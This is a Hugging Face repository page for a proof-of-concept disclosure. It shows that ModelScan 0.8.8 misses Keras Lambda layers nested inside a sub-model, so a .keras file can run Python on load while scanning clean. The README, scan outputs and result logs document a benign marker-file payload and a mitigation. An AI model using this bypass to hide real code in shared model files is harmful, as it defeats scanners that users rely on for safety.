Instructions to use pragnyanramtha/keras-native-nested-lambda-modelscan-bypass with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use pragnyanramtha/keras-native-nested-lambda-modelscan-bypass with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://pragnyanramtha/keras-native-nested-lambda-modelscan-bypass") - Notebooks
- Google Colab
- Kaggle
Upload folder using huggingface_hub
Browse files- README.md +71 -0
- modelscan_nested_lambda.json +1 -0
- modelscan_top_level_control.json +1 -0
- nested_lambda_native.keras +0 -0
- requirements.txt +5 -0
- results.json +164 -0
- top_level_lambda_control.keras +0 -0
- verify_poc.py +131 -0
README.md
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
library_name: keras
|
| 3 |
+
tags:
|
| 4 |
+
- security
|
| 5 |
+
- modelscan
|
| 6 |
+
- keras
|
| 7 |
+
- model-file-vulnerability
|
| 8 |
+
---
|
| 9 |
+
|
| 10 |
+
# Keras Native Nested Lambda ModelScan Bypass PoC
|
| 11 |
+
|
| 12 |
+
This repository is a benign security proof of concept for the native Keras `.keras` model format. The model contains a nested `keras.layers.Lambda` layer whose inline Python lambda writes a local marker file when the artifact is loaded with `safe_mode=False`.
|
| 13 |
+
|
| 14 |
+
## Files
|
| 15 |
+
|
| 16 |
+
- `nested_lambda_native.keras` - native Keras zip model containing the nested Lambda layer.
|
| 17 |
+
- `top_level_lambda_control.keras` - control artifact with a top-level Lambda that ModelScan does detect.
|
| 18 |
+
- `verify_poc.py` - verifies the artifact hash, inspects `config.json`, runs ModelScan when installed, and demonstrates Keras runtime behavior.
|
| 19 |
+
- `results.json` - captured local validation output.
|
| 20 |
+
- `modelscan_nested_lambda.json` - ModelScan JSON output for the PoC artifact.
|
| 21 |
+
- `modelscan_top_level_control.json` - ModelScan JSON output for a control artifact with a top-level Lambda.
|
| 22 |
+
|
| 23 |
+
## Reproduction
|
| 24 |
+
|
| 25 |
+
Use Python 3.12 and install the tested packages:
|
| 26 |
+
|
| 27 |
+
```bash
|
| 28 |
+
python -m pip install keras==3.14.1 tensorflow==2.21.0 modelscan==0.8.8 numpy==2.4.4 h5py==3.14.0
|
| 29 |
+
python verify_poc.py
|
| 30 |
+
```
|
| 31 |
+
|
| 32 |
+
Expected behavior:
|
| 33 |
+
|
| 34 |
+
- `keras.saving.load_model(..., safe_mode=True)` blocks the nested Lambda as unsafe.
|
| 35 |
+
- `keras.saving.load_model(..., safe_mode=False)` creates `keras_native_marker.txt` with the marker string `KERAS_NATIVE_NESTED_LAMBDA_EXECUTED`.
|
| 36 |
+
- `modelscan scan -p nested_lambda_native.keras -r json --show-skipped` reports zero issues for the nested-Lambda model.
|
| 37 |
+
- A top-level Lambda control is detected by ModelScan as `Use of unsafe operator 'Lambda' from module 'Keras'`, showing the bypass is caused by nested config traversal.
|
| 38 |
+
|
| 39 |
+
## Scanner Output Summary
|
| 40 |
+
|
| 41 |
+
Tested scanner: ModelScan 0.8.8.
|
| 42 |
+
|
| 43 |
+
PoC artifact:
|
| 44 |
+
|
| 45 |
+
- Total issues: 0
|
| 46 |
+
- Scanned files: `nested_lambda_native.keras`
|
| 47 |
+
- Nested Lambda location: `root.config.layers[1].config.layers[1]`
|
| 48 |
+
- Top-level layers visible to the current ModelScan Keras logic: `InputLayer`, `Functional`
|
| 49 |
+
|
| 50 |
+
Control artifact:
|
| 51 |
+
|
| 52 |
+
- Total issues: 1
|
| 53 |
+
- Severity: MEDIUM
|
| 54 |
+
- Operator: `Lambda`
|
| 55 |
+
- Source: `top_level_lambda_control.keras:config.json`
|
| 56 |
+
|
| 57 |
+
## Artifact Details
|
| 58 |
+
|
| 59 |
+
- File: `nested_lambda_native.keras`
|
| 60 |
+
- SHA256: `066bd70a8946b41400372d8312704b939c8d233b9e61e895527ade3d1fe3783e`
|
| 61 |
+
- Size: 18,590 bytes
|
| 62 |
+
|
| 63 |
+
## Security Impact
|
| 64 |
+
|
| 65 |
+
ModelScan's Keras native scanner detects top-level Lambda layers but misses Lambda layers nested inside a Functional model contained by the outer model. A user or service relying on ModelScan to identify unsafe Lambda deserialization in `.keras` files can receive a zero-issue scan result even though Keras itself later reaches the embedded Lambda and, when unsafe deserialization is enabled, executes the lambda's Python code during model loading.
|
| 66 |
+
|
| 67 |
+
This PoC is intentionally benign and only writes a local marker file. It does not perform network access, persistence, credential access, or destructive actions.
|
| 68 |
+
|
| 69 |
+
## Mitigation
|
| 70 |
+
|
| 71 |
+
Recursively traverse the entire Keras `config.json` object graph for unsafe layer classes and function configs rather than checking only top-level `config.layers`. Treat any nested `class_name == "Lambda"` or serialized `__lambda__` function as unsafe regardless of depth.
|
modelscan_nested_lambda.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T10:28:45.461464", "scanned": {"total_scanned": 1, "scanned_files": ["nested_lambda_native.keras"]}, "skipped": {"total_skipped": 3, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "nested_lambda_native.keras:metadata.json"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "nested_lambda_native.keras:config.json"}, {"category": "MODEL_CONFIG", "description": "Model Config not found", "source": "nested_lambda_native.keras:model.weights.h5"}]}}, "issues": [], "errors": []}
|
modelscan_top_level_control.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 1, "HIGH": 0, "CRITICAL": 0}, "total_issues": 1, "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T10:28:51.543546", "scanned": {"total_scanned": 1, "scanned_files": ["top_level_lambda_control.keras"]}, "skipped": {"total_skipped": 3, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "top_level_lambda_control.keras:metadata.json"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "top_level_lambda_control.keras:config.json"}, {"category": "MODEL_CONFIG", "description": "Model Config not found", "source": "top_level_lambda_control.keras:model.weights.h5"}]}}, "issues": [{"description": "Use of unsafe operator 'Lambda' from module 'Keras'", "operator": "Lambda", "module": "Keras", "source": "top_level_lambda_control.keras:config.json", "scanner": "modelscan.scanners.KerasLambdaDetectScan", "severity": "MEDIUM"}], "errors": []}
|
nested_lambda_native.keras
ADDED
|
Binary file (18.6 kB). View file
|
|
|
requirements.txt
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
keras==3.14.1
|
| 2 |
+
tensorflow==2.21.0
|
| 3 |
+
modelscan==0.8.8
|
| 4 |
+
numpy==2.4.4
|
| 5 |
+
h5py==3.14.0
|
results.json
ADDED
|
@@ -0,0 +1,164 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"artifact": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras",
|
| 3 |
+
"sha256": "066bd70a8946b41400372d8312704b939c8d233b9e61e895527ade3d1fe3783e",
|
| 4 |
+
"size_bytes": 18590,
|
| 5 |
+
"python": "3.12.12 (main, Oct 28 2025, 14:15:42) [MSC v.1944 64 bit (AMD64)]",
|
| 6 |
+
"top_level_layers_seen_by_modelscan_logic": [
|
| 7 |
+
"InputLayer",
|
| 8 |
+
"Functional"
|
| 9 |
+
],
|
| 10 |
+
"nested_lambda_locations": [
|
| 11 |
+
"root.config.layers[1].config.layers[1]"
|
| 12 |
+
],
|
| 13 |
+
"unsafe_load_safe_mode_false": {
|
| 14 |
+
"cmd": [
|
| 15 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Scripts\\python.exe",
|
| 16 |
+
"-c",
|
| 17 |
+
"import os, pathlib, keras\nos.environ['KERAS_NATIVE_MARKER'] = r'C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\keras_native_marker.txt'\np = pathlib.Path(r'C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\keras_native_marker.txt')\np.unlink(missing_ok=True)\nkeras.saving.load_model(r'C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras', safe_mode=False)\nprint(p.exists())\n"
|
| 18 |
+
],
|
| 19 |
+
"returncode": 0,
|
| 20 |
+
"stdout": "True\n",
|
| 21 |
+
"stderr": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561912.429402 12080 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561914.722833 12080 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING:tensorflow:From C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\backend\\tensorflow\\core.py:232: The name tf.placeholder is deprecated. Please use tf.compat.v1.placeholder instead.\n\nWARNING:tensorflow:TensorFlow GPU support is not available on native Windows for TensorFlow >= 2.11. Even if CUDA/cuDNN are installed, GPU will not be used. Please use WSL2 or the TensorFlow-DirectML plugin.\n"
|
| 22 |
+
},
|
| 23 |
+
"safe_load_safe_mode_true": {
|
| 24 |
+
"cmd": [
|
| 25 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Scripts\\python.exe",
|
| 26 |
+
"-c",
|
| 27 |
+
"import keras\nkeras.saving.load_model(r'C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras', safe_mode=True)\n"
|
| 28 |
+
],
|
| 29 |
+
"returncode": 1,
|
| 30 |
+
"stdout": "",
|
| 31 |
+
"stderr": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561916.407528 9948 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561918.961785 9948 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nTraceback (most recent call last):\n File \"<string>\", line 2, in <module>\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\saving_api.py\", line 188, in load_model\n return saving_lib.load_model(\n ^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\saving_lib.py\", line 362, in load_model\n return _load_model_from_fileobj(\n ^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\saving_lib.py\", line 439, in _load_model_from_fileobj\n model = _model_from_config(\n ^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\saving_lib.py\", line 428, in _model_from_config\n model = deserialize_keras_object(\n ^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\serialization_lib.py\", line 737, in deserialize_keras_object\n instance = cls.from_config(inner_config)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\model.py\", line 827, in from_config\n return functional_from_config(\n ^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\functional.py\", line 606, in functional_from_config\n process_layer(layer_data)\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\functional.py\", line 573, in process_layer\n layer = serialization_lib.deserialize_keras_object(\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\serialization_lib.py\", line 737, in deserialize_keras_object\n instance = cls.from_config(inner_config)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\model.py\", line 827, in from_config\n return functional_from_config(\n ^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\functional.py\", line 606, in functional_from_config\n process_layer(layer_data)\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\models\\functional.py\", line 573, in process_layer\n layer = serialization_lib.deserialize_keras_object(\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\saving\\serialization_lib.py\", line 737, in deserialize_keras_object\n instance = cls.from_config(inner_config)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\layers\\core\\lambda_layer.py\", line 191, in from_config\n cls._raise_for_lambda_deserialization(safe_mode)\n File \"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Lib\\site-packages\\keras\\src\\layers\\core\\lambda_layer.py\", line 172, in _raise_for_lambda_deserialization\n raise ValueError(\nValueError: Requested the deserialization of a `Lambda` layer whose `function` is a Python lambda. This carries a potential risk of arbitrary code execution and thus it is disallowed by default. If you trust the source of the artifact, you can override this error by passing `safe_mode=False` to the loading function, or calling `keras.config.enable_unsafe_deserialization().\n",
|
| 32 |
+
"blocked": true
|
| 33 |
+
},
|
| 34 |
+
"marker_created": true,
|
| 35 |
+
"modelscan_run": {
|
| 36 |
+
"cmd": [
|
| 37 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Scripts\\modelscan.exe",
|
| 38 |
+
"scan",
|
| 39 |
+
"-p",
|
| 40 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras",
|
| 41 |
+
"-r",
|
| 42 |
+
"json",
|
| 43 |
+
"-o",
|
| 44 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\modelscan_nested_lambda.json",
|
| 45 |
+
"--show-skipped"
|
| 46 |
+
],
|
| 47 |
+
"returncode": 0,
|
| 48 |
+
"stdout": "No settings file detected at C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\modelscan-settings.toml. Using defaults. \n\nScanning C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras using modelscan.scanners.KerasLambdaDetectScan model scan\nModel Config not found in: C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras:model.weights.h5\nScanning C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras:model.weights.h5 using modelscan.scanners.H5LambdaDetectScan model scan\n{\"summary\": {\"total_issues_by_severity\": {\"LOW\": 0, \"MEDIUM\": 0, \"HIGH\": 0, \n\"CRITICAL\": 0}, \"total_issues\": 0, \"input_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\keras\\\\lab\\\\nested_lambda_native.keras\",\n\"absolute_path\": \"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\keras\\\\lab\", \n\"modelscan_version\": \"0.8.8\", \"timestamp\": \"2026-05-12T10:28:45.461464\", \n\"scanned\": {\"total_scanned\": 1, \"scanned_files\": \n[\"nested_lambda_native.keras\"]}, \"skipped\": {\"total_skipped\": 3, \n\"skipped_files\": [{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan\ndid not scan file\", \"source\": \"nested_lambda_native.keras:metadata.json\"}, \n{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan did not scan \nfile\", \"source\": \"nested_lambda_native.keras:config.json\"}, {\"category\": \n\"MODEL_CONFIG\", \"description\": \"Model Config not found\", \"source\": \n\"nested_lambda_native.keras:model.weights.h5\"}]}}, \"issues\": [], \"errors\": []}\n",
|
| 49 |
+
"stderr": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561920.920037 26880 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561924.603649 26880 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n"
|
| 50 |
+
},
|
| 51 |
+
"modelscan_json": {
|
| 52 |
+
"summary": {
|
| 53 |
+
"total_issues_by_severity": {
|
| 54 |
+
"LOW": 0,
|
| 55 |
+
"MEDIUM": 0,
|
| 56 |
+
"HIGH": 0,
|
| 57 |
+
"CRITICAL": 0
|
| 58 |
+
},
|
| 59 |
+
"total_issues": 0,
|
| 60 |
+
"input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\nested_lambda_native.keras",
|
| 61 |
+
"absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab",
|
| 62 |
+
"modelscan_version": "0.8.8",
|
| 63 |
+
"timestamp": "2026-05-12T10:28:45.461464",
|
| 64 |
+
"scanned": {
|
| 65 |
+
"total_scanned": 1,
|
| 66 |
+
"scanned_files": [
|
| 67 |
+
"nested_lambda_native.keras"
|
| 68 |
+
]
|
| 69 |
+
},
|
| 70 |
+
"skipped": {
|
| 71 |
+
"total_skipped": 3,
|
| 72 |
+
"skipped_files": [
|
| 73 |
+
{
|
| 74 |
+
"category": "SCAN_NOT_SUPPORTED",
|
| 75 |
+
"description": "Model Scan did not scan file",
|
| 76 |
+
"source": "nested_lambda_native.keras:metadata.json"
|
| 77 |
+
},
|
| 78 |
+
{
|
| 79 |
+
"category": "SCAN_NOT_SUPPORTED",
|
| 80 |
+
"description": "Model Scan did not scan file",
|
| 81 |
+
"source": "nested_lambda_native.keras:config.json"
|
| 82 |
+
},
|
| 83 |
+
{
|
| 84 |
+
"category": "MODEL_CONFIG",
|
| 85 |
+
"description": "Model Config not found",
|
| 86 |
+
"source": "nested_lambda_native.keras:model.weights.h5"
|
| 87 |
+
}
|
| 88 |
+
]
|
| 89 |
+
}
|
| 90 |
+
},
|
| 91 |
+
"issues": [],
|
| 92 |
+
"errors": []
|
| 93 |
+
},
|
| 94 |
+
"control_artifact": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras",
|
| 95 |
+
"control_sha256": "9c0b598e59abf86328ffdfbd73ce1712c63a9d2908d7da068ca7b757f00d93d7",
|
| 96 |
+
"control_modelscan_run": {
|
| 97 |
+
"cmd": [
|
| 98 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\.venv\\Scripts\\modelscan.exe",
|
| 99 |
+
"scan",
|
| 100 |
+
"-p",
|
| 101 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras",
|
| 102 |
+
"-r",
|
| 103 |
+
"json",
|
| 104 |
+
"-o",
|
| 105 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\modelscan_top_level_control.json",
|
| 106 |
+
"--show-skipped"
|
| 107 |
+
],
|
| 108 |
+
"returncode": 1,
|
| 109 |
+
"stdout": "No settings file detected at C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\modelscan-settings.toml. Using defaults. \n\nScanning C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras using modelscan.scanners.KerasLambdaDetectScan model scan\nModel Config not found in: C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras:model.weights.h5\nScanning C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras:model.weights.h5 using modelscan.scanners.H5LambdaDetectScan model scan\n{\"summary\": {\"total_issues_by_severity\": {\"LOW\": 0, \"MEDIUM\": 1, \"HIGH\": 0, \n\"CRITICAL\": 0}, \"total_issues\": 1, \"input_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\keras\\\\lab\\\\top_level_lambda_control.ker\nas\", \"absolute_path\": \"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\keras\\\\lab\", \n\"modelscan_version\": \"0.8.8\", \"timestamp\": \"2026-05-12T10:28:51.543546\", \n\"scanned\": {\"total_scanned\": 1, \"scanned_files\": \n[\"top_level_lambda_control.keras\"]}, \"skipped\": {\"total_skipped\": 3, \n\"skipped_files\": [{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan\ndid not scan file\", \"source\": \"top_level_lambda_control.keras:metadata.json\"}, \n{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan did not scan \nfile\", \"source\": \"top_level_lambda_control.keras:config.json\"}, {\"category\": \n\"MODEL_CONFIG\", \"description\": \"Model Config not found\", \"source\": \n\"top_level_lambda_control.keras:model.weights.h5\"}]}}, \"issues\": \n[{\"description\": \"Use of unsafe operator 'Lambda' from module 'Keras'\", \n\"operator\": \"Lambda\", \"module\": \"Keras\", \"source\": \n\"top_level_lambda_control.keras:config.json\", \"scanner\": \n\"modelscan.scanners.KerasLambdaDetectScan\", \"severity\": \"MEDIUM\"}], \"errors\": \n[]}\n",
|
| 110 |
+
"stderr": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561926.688095 8744 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1778561930.393518 8744 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n"
|
| 111 |
+
},
|
| 112 |
+
"control_modelscan_json": {
|
| 113 |
+
"summary": {
|
| 114 |
+
"total_issues_by_severity": {
|
| 115 |
+
"LOW": 0,
|
| 116 |
+
"MEDIUM": 1,
|
| 117 |
+
"HIGH": 0,
|
| 118 |
+
"CRITICAL": 0
|
| 119 |
+
},
|
| 120 |
+
"total_issues": 1,
|
| 121 |
+
"input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab\\top_level_lambda_control.keras",
|
| 122 |
+
"absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\keras\\lab",
|
| 123 |
+
"modelscan_version": "0.8.8",
|
| 124 |
+
"timestamp": "2026-05-12T10:28:51.543546",
|
| 125 |
+
"scanned": {
|
| 126 |
+
"total_scanned": 1,
|
| 127 |
+
"scanned_files": [
|
| 128 |
+
"top_level_lambda_control.keras"
|
| 129 |
+
]
|
| 130 |
+
},
|
| 131 |
+
"skipped": {
|
| 132 |
+
"total_skipped": 3,
|
| 133 |
+
"skipped_files": [
|
| 134 |
+
{
|
| 135 |
+
"category": "SCAN_NOT_SUPPORTED",
|
| 136 |
+
"description": "Model Scan did not scan file",
|
| 137 |
+
"source": "top_level_lambda_control.keras:metadata.json"
|
| 138 |
+
},
|
| 139 |
+
{
|
| 140 |
+
"category": "SCAN_NOT_SUPPORTED",
|
| 141 |
+
"description": "Model Scan did not scan file",
|
| 142 |
+
"source": "top_level_lambda_control.keras:config.json"
|
| 143 |
+
},
|
| 144 |
+
{
|
| 145 |
+
"category": "MODEL_CONFIG",
|
| 146 |
+
"description": "Model Config not found",
|
| 147 |
+
"source": "top_level_lambda_control.keras:model.weights.h5"
|
| 148 |
+
}
|
| 149 |
+
]
|
| 150 |
+
}
|
| 151 |
+
},
|
| 152 |
+
"issues": [
|
| 153 |
+
{
|
| 154 |
+
"description": "Use of unsafe operator 'Lambda' from module 'Keras'",
|
| 155 |
+
"operator": "Lambda",
|
| 156 |
+
"module": "Keras",
|
| 157 |
+
"source": "top_level_lambda_control.keras:config.json",
|
| 158 |
+
"scanner": "modelscan.scanners.KerasLambdaDetectScan",
|
| 159 |
+
"severity": "MEDIUM"
|
| 160 |
+
}
|
| 161 |
+
],
|
| 162 |
+
"errors": []
|
| 163 |
+
}
|
| 164 |
+
}
|
top_level_lambda_control.keras
ADDED
|
Binary file (12.6 kB). View file
|
|
|
verify_poc.py
ADDED
|
@@ -0,0 +1,131 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
